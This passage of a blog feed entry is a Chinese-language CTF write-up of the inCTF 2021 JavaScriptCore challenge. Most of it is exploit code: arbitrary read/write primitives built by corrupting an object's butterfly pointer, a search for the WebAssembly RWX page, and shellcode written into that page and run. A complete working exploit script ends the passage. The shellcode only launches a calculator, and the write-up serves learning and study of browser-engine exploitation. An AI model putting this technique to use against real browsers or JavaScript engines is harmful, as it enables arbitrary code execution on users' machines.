class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>注意：因为 a3 对象创建的时候，0，1 下标都是 double 数值，那么它的类型必定被初始化为 <strong>xxxWithDouble</strong>，那么存取数组的值的时候都是 unboxed 的，那么就不用考虑编码问题了</p><h3 id="ARW"><a href="#ARW" class="headerlink" title="ARW"></a>ARW</h3><p>利用 <code>a3[1]</code> 修改 a4 的 butterfly 字段即可进行任意地址读写，<strong>但是要注意的是地址 -8 偏移处对应的是数组长度和空间大小，不能为 0</strong></p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">arbRead</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// ((*(addr - 8)) >> 32) > 0</span>a3<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// &lt;-- butterfly</span><span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>a4<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">arbWrite</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// ((*(addr - 8)) >> 32) > 0</span>a3<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr<span class="token punctuation">)</span><span class="token punctuation">;</span>a4<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="shellcode"><a href="#shellcode" class="headerlink" title="shellcode"></a>shellcode</h3><p>jsc 和 v8 一样，wasm 同样使用 rwx 权限的段来存放运行的机器码，先找出这个 rwx 权限的地址：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> wasmCode <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">115</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">133</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">96</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">127</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">130</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">112</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">5</span><span class="token punctuation">,</span><span class="token number">131</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">129</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">7</span><span class="token punctuation">,</span><span class="token number">145</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">101</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">111</span><span class="token punctuation">,</span><span class="token number">114</span><span class="token punctuation">,</span><span class="token number">121</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">105</span><span class="token punctuation">,</span><span class="token number">110</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">10</span><span class="token punctuation">,</span><span class="token number">138</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">65</span><span class="token punctuation">,</span><span class="token number">42</span><span class="token punctuation">,</span><span class="token number">11</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> wasmModule <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Module</span><span class="token punctuation">(</span>wasmCode<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> wasmInstance <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Instance</span><span class="token punctuation">(</span>wasmModule<span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> func <span class="token operator">=</span> wasmInstance<span class="token punctuation">.</span>exports<span class="token punctuation">.</span>main<span class="token punctuation">;</span><span class="token function">debug</span><span class="token punctuation">(</span><span class="token function">describe</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在 funtion 对象 +0x38 偏移处发现这个地址：<br><img src="/images/a50bb9a6/13.png" alt="rwx"></p><p>这个地址并不是 rwx 段的起始地址，但这确实是这个 wasm 函数对象的调用的地址，幸运的是，-8 偏移处填满了 0xcc，完全符合任意读写的条件：<br><img src="/images/a50bb9a6/14.png" alt="rwx"></p><p>接下来写入 shellcode：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> func_addr <span class="token operator">=</span> <span class="token function">addrOf</span><span class="token punctuation">(</span>func<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> rwx_addr <span class="token operator">=</span> <span class="token function">arbRead</span><span class="token punctuation">(</span>func_addr <span class="token operator">+</span> <span class="token number">0x38n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> sc_arr <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token number">0x10101010101b848n</span><span class="token punctuation">,</span>    <span class="token number">0x62792eb848500101n</span><span class="token punctuation">,</span>    <span class="token number">0x431480101626d60n</span><span class="token punctuation">,</span>    <span class="token number">0x2f7273752fb84824n</span><span class="token punctuation">,</span>    <span class="token number">0x48e78948506e6962n</span><span class="token punctuation">,</span>    <span class="token number">0x1010101010101b8n</span><span class="token punctuation">,</span>    <span class="token number">0x6d606279b8485001n</span><span class="token punctuation">,</span>    <span class="token number">0x2404314801010162n</span><span class="token punctuation">,</span>    <span class="token number">0x1485e086a56f631n</span><span class="token punctuation">,</span>    <span class="token number">0x313b68e6894856e6n</span><span class="token punctuation">,</span>    <span class="token number">0x101012434810101n</span><span class="token punctuation">,</span>    <span class="token number">0x4c50534944b84801n</span><span class="token punctuation">,</span>    <span class="token number">0x6a52d231503d5941n</span><span class="token punctuation">,</span>    <span class="token number">0x894852e201485a08n</span><span class="token punctuation">,</span>    <span class="token number">0x50f583b6ae2n</span><span class="token punctuation">,</span><span class="token punctuation">]</span><span class="token punctuation">;</span>a3<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>rwx_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> sc_arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>a4<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>sc_arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// pwn!</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>shellcode 效果是弹计算器：<br><img src="/images/a50bb9a6/15.png" alt="pwn"></p><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><p>完整 exp 如下：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token comment">// utils ------</span><span class="token keyword">let</span> <span class="token punctuation">[</span>f2i<span class="token punctuation">,</span> i2f<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span><span class="token keyword">let</span> buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> floatArr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> intArr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> <span class="token function-variable function">f2i</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">v</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>floatArr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> v<span class="token punctuation">;</span> <span class="token keyword">return</span> intArr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">let</span> <span class="token function-variable function">i2f</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">v</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>intArr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> v<span class="token punctuation">;</span> <span class="token keyword">return</span> floatArr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token punctuation">[</span>f2i<span class="token punctuation">,</span> i2f<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">getWasm</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">let</span> wasmCode <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">115</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">133</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">96</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">127</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">130</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">112</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">5</span><span class="token punctuation">,</span><span class="token number">131</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">129</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">7</span><span class="token punctuation">,</span><span class="token number">145</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">101</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">111</span><span class="token punctuation">,</span><span class="token number">114</span><span class="token punctuation">,</span><span class="token number">121</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">105</span><span class="token punctuation">,</span><span class="token number">110</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">10</span><span class="token punctuation">,</span><span class="token number">138</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">65</span><span class="token punctuation">,</span><span class="token number">42</span><span class="token punctuation">,</span><span class="token number">11</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> wasmModule <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Module</span><span class="token punctuation">(</span>wasmCode<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> wasmInstance <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Instance</span><span class="token punctuation">(</span>wasmModule<span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> f <span class="token operator">=</span> wasmInstance<span class="token punctuation">.</span>exports<span class="token punctuation">.</span>main<span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token punctuation">[</span>wasmInstance<span class="token punctuation">,</span> f<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token comment">// ------</span><span class="token keyword">var</span> a1 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>a<span class="token operator">:</span><span class="token number">1.1</span><span class="token punctuation">,</span> b<span class="token operator">:</span><span class="token number">2.2</span><span class="token punctuation">,</span> c<span class="token operator">:</span><span class="token number">3.3</span><span class="token punctuation">,</span> d<span class="token operator">:</span><span class="token number">4.4</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> a2 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>a<span class="token operator">:</span><span class="token number">1.1</span><span class="token punctuation">,</span> b<span class="token operator">:</span><span class="token number">2.2</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> a3 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>a<span class="token operator">:</span><span class="token number">1.1</span><span class="token punctuation">,</span> b<span class="token operator">:</span><span class="token number">2.2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token operator">:</span><span class="token number">3.3</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token operator">:</span><span class="token number">4.4</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> a4 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>a<span class="token operator">:</span><span class="token number">1.1</span><span class="token punctuation">,</span> b<span class="token operator">:</span><span class="token number">2.2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token operator">:</span><span class="token number">3.3</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token operator">:</span><span class="token number">4.4</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">foo</span><span class="token punctuation">(</span><span class="token parameter">obj<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>obj<span class="token punctuation">.</span>d <span class="token operator">=</span> value<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">100</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token function">foo</span><span class="token punctuation">(</span>a1<span class="token punctuation">,</span> a4<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">// debug(describe(a2));</span><span class="token comment">// debug(describe(a3));</span><span class="token comment">// debug(describe(a4));</span><span class="token function">foo</span><span class="token punctuation">(</span>a2<span class="token punctuation">,</span> a4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// a3 --> butterfly = addrOf(a4)</span><span class="token comment">// print(1.1);</span><span class="token keyword">function</span> <span class="token function">addrOf</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>a4<span class="token punctuation">.</span>a <span class="token operator">=</span> obj<span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>a3<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">arbRead</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// ((*(addr - 8)) >> 32) > 0</span>a3<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// &lt;-- butterfly</span><span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>a4<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">arbWrite</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// ((*(addr - 8)) >> 32) > 0</span>a3<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr<span class="token punctuation">)</span><span class="token punctuation">;</span>a4<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">/*let test_obj = &#123;&#125;;let test_addr = addrOf(test_obj) - 0x38n;debug(describe(test_obj));debug(`test_addr = 0x$&#123;test_addr.toString(16)&#125;`);let value = arbRead(test_addr);debug(`value = 0x$&#123;value.toString(16)&#125;`);*/</span><span class="token keyword">let</span> <span class="token punctuation">[</span>instance<span class="token punctuation">,</span> func<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">getWasm</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//debug(describe(func));</span><span class="token keyword">let</span> func_addr <span class="token operator">=</span> <span class="token function">addrOf</span><span class="token punctuation">(</span>func<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">print</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">func_addr = 0x</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>func_addr<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> rwx_addr <span class="token operator">=</span> <span class="token function">arbRead</span><span class="token punctuation">(</span>func_addr <span class="token operator">+</span> <span class="token number">0x38n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">print</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">rwx_addr = 0x</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>rwx_addr<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> sc_arr <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token number">0x10101010101b848n</span><span class="token punctuation">,</span>    <span class="token number">0x62792eb848500101n</span><span class="token punctuation">,</span>    <span class="token number">0x431480101626d60n</span><span class="token punctuation">,</span>    <span class="token number">0x2f7273752fb84824n</span><span class="token punctuation">,</span>    <span class="token number">0x48e78948506e6962n</span><span class="token punctuation">,</span>    <span class="token number">0x1010101010101b8n</span><span class="token punctuation">,</span>    <span class="token number">0x6d606279b8485001n</span><span class="token punctuation">,</span>    <span class="token number">0x2404314801010162n</span><span class="token punctuation">,</span>    <span class="token number">0x1485e086a56f631n</span><span class="token punctuation">,</span>    <span class="token number">0x313b68e6894856e6n</span><span class="token punctuation">,</span>    <span class="token number">0x101012434810101n</span><span class="token punctuation">,</span>    <span class="token number">0x4c50534944b84801n</span><span class="token punctuation">,</span>    <span class="token number">0x6a52d231503d5941n</span><span class="token punctuation">,</span>    <span class="token number">0x894852e201485a08n</span><span class="token punctuation">,</span>    <span class="token number">0x50f583b6ae2n</span><span class="token punctuation">,</span><span class="token punctuation">]</span><span class="token punctuation">;</span>a3<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>rwx_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> sc_arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>a4<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>sc_arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//print(1.1);</span><span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://blog.bi0s.in/2021/08/15/Pwn/InCTFi21-DeadlyFastGraph/">https://blog.bi0s.in/2021/08/15/Pwn/InCTFi21-DeadlyFastGraph/</a></li><li><a href="https://www.anquanke.com/post/id/251597">https://www.anquanke.com/post/id/251597</a></li><li><a href="http://phrack.org/papers/attacking_javascript_engines.html">http://phrack.org/papers/attacking_javascript_engines.html</a></li><li><a href="https://liveoverflow.com/the-butterfly-of-jsobject-browser-0x02/">https://liveoverflow.com/the-butterfly-of-jsobject-browser-0x02/</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;2021 inCTF 比赛时未能做出来的题目，jsc 引擎的利用，回过头发现其实很简单，显然这是一道入门级的 jsc 题目，学到了学到了，参照下官方的 wp 了解一下 jsc 的漏洞利用&lt;/p&gt;
    
    </summary>
    
    
      <category term="ctf" scheme="http://www.xi4oyu.top/categories/ctf/"/>
    
    
      <category term="browser" scheme="http://www.xi4oyu.top/tags/browser/"/>
    
      <category term="jsc" scheme="http://www.xi4oyu.top/tags/jsc/"/>
    
      <category term="pwn" scheme="http://www.xi4oyu.top/tags/pwn/"/>
    
  </entry>
  
  <entry>
    <title>diary</title>
